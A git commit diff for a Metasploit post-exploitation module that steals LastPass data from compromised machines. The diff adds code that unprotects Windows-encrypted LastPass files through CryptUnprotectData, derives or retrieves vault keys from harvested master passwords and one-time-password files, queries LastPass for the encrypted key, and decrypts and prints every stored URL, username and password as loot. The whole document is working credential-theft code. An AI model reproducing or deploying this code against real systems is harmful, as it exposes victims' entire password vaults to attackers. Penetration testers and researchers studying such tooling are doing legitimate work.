Print vault passwords

bug/bundler_fix
Martin Vigo 2015-11-01 21:47:00 -08:00
parent e67065a7e9
commit b0f92b49a2
1 changed files with 148 additions and 39 deletions

View File

@ -29,7 +29,6 @@ class Metasploit3 < Msf::Post
end
def run
if session.platform =~ /win/ && session.type == "shell" # No Windows shell support
print_error "Shell sessions on Windows are not supported"
return
@ -118,7 +117,11 @@ class Metasploit3 < Msf::Post
db_paths = find_db_paths(path, browser, account)
if db_paths && db_paths.size > 0
account_map[account][browser]['lp_db_path'] = db_paths
account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if client.fs.file.exists?(localstorage_path_map[browser]) || browser == 'Firefox'
if session.type == "meterpreter"
account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if client.fs.file.exists?(localstorage_path_map[browser]) || browser == 'Firefox'
else # session.type == "shell"
account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if session.shell_command("ls \"#{localstorage_path_map[browser]}\"").strip == localstorage_path_map[browser].strip || browser == 'Firefox'
end
else
account_map[account].delete(browser)
end
@ -232,13 +235,13 @@ class Metasploit3 < Msf::Post
if /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line
usernames = encoded_users.split("|")
usernames.each do |username|
credentials << [username, "NOT_FOUND"]
credentials << [username, nil]
end
elsif /user_pref\("extensions.lastpass.loginpws", "(?<encoded_creds>.*)"\);/ =~ line
creds_per_user = encoded_creds.split("|")
creds_per_user.each do |user_creds|
parts = user_creds.split('=')
for creds in credentials # Check iuf we have the username already
for creds in credentials # Check if we have the username already
if creds[0] == parts[0]
creds[1] = parts[1] # Add the password to the existing username
else
@ -297,8 +300,8 @@ class Metasploit3 < Msf::Post
ffcreds = firefox_credentials(loot_path)
unless ffcreds.blank?
ffcreds.each do |creds|
if creds[1].blank?
creds[1] = nil # No master password found
if creds[1].blank? # No master password found
account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = {'lp_password' => nil}
else
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0]))
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
@ -351,7 +354,7 @@ class Metasploit3 < Msf::Post
if browser == 'Firefox'
path = lp_data['localstorage_db'] + client.fs.file.separator + "lp.suid"
data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
data = nil if (data.blank? || data.size != 32) # Verify content
data = windows_unprotect(data) if data != nil && data.size > 32 # Verify Windows protection
loot_path = store_loot(
'firefox.preferences',
'text/binary',
@ -389,15 +392,15 @@ class Metasploit3 < Msf::Post
#Print all extracted LastPass data
def print_lastpass_data(account_map)
lastpass_data_table = Rex::Ui::Text::Table.new(
'Header' => "LastPass data",
'Header' => "LastPass Accounts",
'Indent' => 1,
'Columns' => %w(Account Browser LP_Username LP_Password LP_2FA LP_Key)
'Columns' => %w(Account LP_Username LP_Password LP_2FA LP_Key)
)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data|
lp_data['lp_creds'].each_pair do |username, user_data|
lastpass_data_table << [account, browser, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']]
lastpass_data_table << [account, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']]
end
end
end
@ -412,6 +415,8 @@ class Metasploit3 < Msf::Post
nil,
"LastPass Data"
)
print_vault_passwords(account_map)
end
end
@ -423,7 +428,7 @@ class Metasploit3 < Msf::Post
if browser == 'Firefox'
path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr"
iterations = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
iterations = "NOT FOUND" if iterations.blank? # Verify content
iterations = nil if iterations.blank? # Verify content
lp_data['lp_creds'][username]['iterations'] = iterations
loot_path = store_loot(
"#{browser.downcase}.lastpass.iterations",
@ -435,8 +440,8 @@ class Metasploit3 < Msf::Post
)
path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.act.sxml"
vault = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
vault = "NOT FOUND" if vault.blank? # Verify content
lp_data['lp_creds'][username]['vault_loot'] = "NOT_FOUND"
vault = windows_unprotect(vault) if vault != nil && vault.match(/^AQAAA.+/) # Verify Windows protection
vault = vault.sub(/iterations=.*;/, "") # Remove iterations info
loot_path = store_loot(
"#{browser.downcase}.lastpass.vault",
'text/plain',
@ -445,12 +450,13 @@ class Metasploit3 < Msf::Post
nil,
"#{account}'s #{browser} LastPass Vault"
)
lp_data['lp_creds'][username]['vault_loot'] = loot_path
else # Chrome, Safari and Opera
db = SQLite3::Database.new(lp_data['lp_db_loot'])
result = db.execute(
"SELECT data FROM LastPassData " \
"WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'accts'"
"WHERE username_hash = '" + OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'accts'"
)
if result.size == 1 && !result[0].blank?
@ -478,8 +484,8 @@ class Metasploit3 < Msf::Post
lp_data['lp_creds'][username]['vault_loot'] = loot_path
end
else
lp_data['lp_creds'][username]['iterations'] = "NOT_FOUND"
lp_data['lp_creds'][username]['vault_loot'] = "NOT_FOUND"
lp_data['lp_creds'][username]['iterations'] = nil
lp_data['lp_creds'][username]['vault_loot'] = nil
end
end
end
@ -491,11 +497,11 @@ class Metasploit3 < Msf::Post
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data|
lp_data['lp_creds'].each_pair do |username, user_data|
if !user_data['lp_password'].blank? && user_data['iterations'] != "NOT_FOUND"# Derive vault key from credentials
if !user_data['lp_password'].blank? && user_data['iterations'] != nil# Derive vault key from credentials
lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations'])
else # Get vault key from disabled OTP
otp = extract_otp(account, browser, username, lp_data)
lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otp)
otpbin = extract_otpbin(account, browser, username, lp_data)
lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin)
end
end
end
@ -503,19 +509,19 @@ class Metasploit3 < Msf::Post
end
# Returns otp, encrypted_key
def extract_otp(account, browser, username, lp_data)
def extract_otpbin(account, browser, username, lp_data)
if browser == 'Firefox'
path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp"
otp = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
otp = "NOT FOUND" if otp.blank? # Verify content
return otp
otpbin = read_file(path) if client.fs.file.exists?(path) #Read file if it exists
otpbin = windows_unprotect(otpbin) if otpbin != nil && otpbin.match(/^AQAAA.+/)
return otpbin
else # Chrome, Safari and Opera
db = SQLite3::Database.new(lp_data['lp_db_loot'])
result = db.execute(
"SELECT type, data FROM LastPassData " \
"WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'otp'"
)
result[0][1]
[result[0][1]].pack "H*"
end
end
@ -524,22 +530,20 @@ class Metasploit3 < Msf::Post
if key_iteration_count == 1
key = Digest::SHA256.hexdigest username + password
else
key = pbkdf2(password, username, key_iteration_count.to_i, 32)
key = pbkdf2(password, username, key_iteration_count.to_i, 32).first
end
key.first
key
end
def decrypt_vault_key_with_otp username, otp
otpbin = [otp].pack "H*"
def decrypt_vault_key_with_otp username, otpbin
vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack "H*"
encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otp)
encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otpbin)
decrypt_data(vault_key_decryption_key, encrypted_vault_key)
end
def retrieve_encrypted_vault_key_with_otp username, otp
def retrieve_encrypted_vault_key_with_otp username, otpbin
# Derive login hash from otp
otpbin = [otp].pack "H*"
otp_token = lastpass_sha256( lastpass_sha256( username + otpbin ) + otpbin ) # OTP login hash
# Make request to LastPass
@ -551,10 +555,6 @@ class Metasploit3 < Msf::Post
http.request(request)
}
puts request.body
puts response.body
# Parse response
encrypted_vault_key = nil
if response.body.match(/randkey\="(.*)"/)
@ -567,9 +567,9 @@ class Metasploit3 < Msf::Post
# LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary)
def lastpass_sha256(input)
output = ""
input = input.gsub("\r\n", "\n")
input.each_byte do |e|
if 128 > e
output += e.chr
@ -587,11 +587,120 @@ class Metasploit3 < Msf::Post
OpenSSL::Digest::SHA256.hexdigest(output)
end
def pbkdf2(password, salt, iterations, key_length)
digest = OpenSSL::Digest::SHA256.new
OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*'
end
end
def windows_unprotect(data)
data = Base64.decode64(data)
rg = session.railgun
pid = session.sys.process.getpid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(data.length+200)
process.memory.write(mem, data)
if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
addr = [mem].pack("V")
len = [data.length].pack("V")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
len, addr = ret["pDataOut"].unpack("V2")
else
addr = Rex::Text.pack_int64le(mem)
len = Rex::Text.pack_int64le(data.length)
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
pData = ret["pDataOut"].unpack("VVVV")
len = pData[0] + (pData[1] << 32)
addr = pData[2] + (pData[3] << 32)
end
return "" if len == 0
process.memory.read(addr, len)
end
def print_vault_passwords(account_map)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data|
lp_data['lp_creds'].each_pair do |username, user_data|
lastpass_vault_data_table = Rex::Ui::Text::Table.new(
'Header' => "Decrypted vault from #{username}",
'Indent' => 1,
'Columns' => %w(URL Username Password)
)
if user_data['vault_loot'] == nil # Was a vault found?
print_error "No vault was found for #{username}"
next
end
encoded_vault = File.read(user_data['vault_loot'])
if encoded_vault[0] == "!" # Vault is double encrypted
encoded_vault = decrypt_data([user_data['vault_key']].pack("H*"), encoded_vault)
if encoded_vault.blank?
print_error "Vault from #{username} could not be decrypted"
next
else
encoded_vault = encoded_vault.sub("LPB64", "")
end
end
# Parse vault
vault = Base64.decode64(encoded_vault)
vault.scan(/ACCT/) do |result|
chunk_length = vault[$~.offset(0)[1]..$~.offset(0)[1]+3].unpack("H*").first.to_i(16) # Get the length in base 10 of the ACCT chunk
chunk = vault[$~.offset(0)[0]..$~.offset(0)[1]+chunk_length] # Get ACCT chunk
account_data = parse_vault_account(chunk, user_data['vault_key'])
lastpass_vault_data_table << account_data if account_data != nil
end
unless account_map.empty? # Loot passwords
print_good lastpass_vault_data_table.to_s
path = store_loot(
"lastpass.#{username}.passwords",
"text/csv",
session,
lastpass_vault_data_table.to_csv,
nil,
"LastPass Vault Passwords from #{username}"
)
end
end
end
end
end
def parse_vault_account(chunk, vaultKey)
pointer = 22 # Starting position to find data to decrypt
labels = ["name", "folder", "url", "notes", "undefined", "undefined2", "username", "password"]
vault_data = []
for label in labels
length = chunk[pointer..pointer+3].unpack("H*").first.to_i(16)
encrypted_data = chunk[pointer+4..pointer+4+length-1]
label != "url" ? decrypted_data = decrypt_vault_password(vaultKey, encrypted_data) : decrypted_data = [encrypted_data].pack("H*")
decrypted_data = "" if decrypted_data == nil
vault_data << decrypted_data if (label == "url" || label == "username" || label == "password")
pointer = pointer + 4 + length
end
return vault_data[0] == "http://sn" ? nil : vault_data # TODO: Support secure notes
end
def decrypt_vault_password(key, encrypted_data)
return nil if key.blank? || encrypted_data.blank?
if encrypted_data[0] == "!" # Apply CBC
decipher = OpenSSL::Cipher.new("AES-256-CBC")
decipher.iv = encrypted_data[1, 16] # Discard !
encrypted_data = encrypted_data[17..-1]
else # Apply ECB
decipher = OpenSSL::Cipher.new("AES-256-ECB")
end
decipher.decrypt
decipher.key = [key].pack "H*"
begin
return decipher.update(encrypted_data) + decipher.final
rescue
vprint_error "Vault password could not be decrypted"
return nil
end
end
end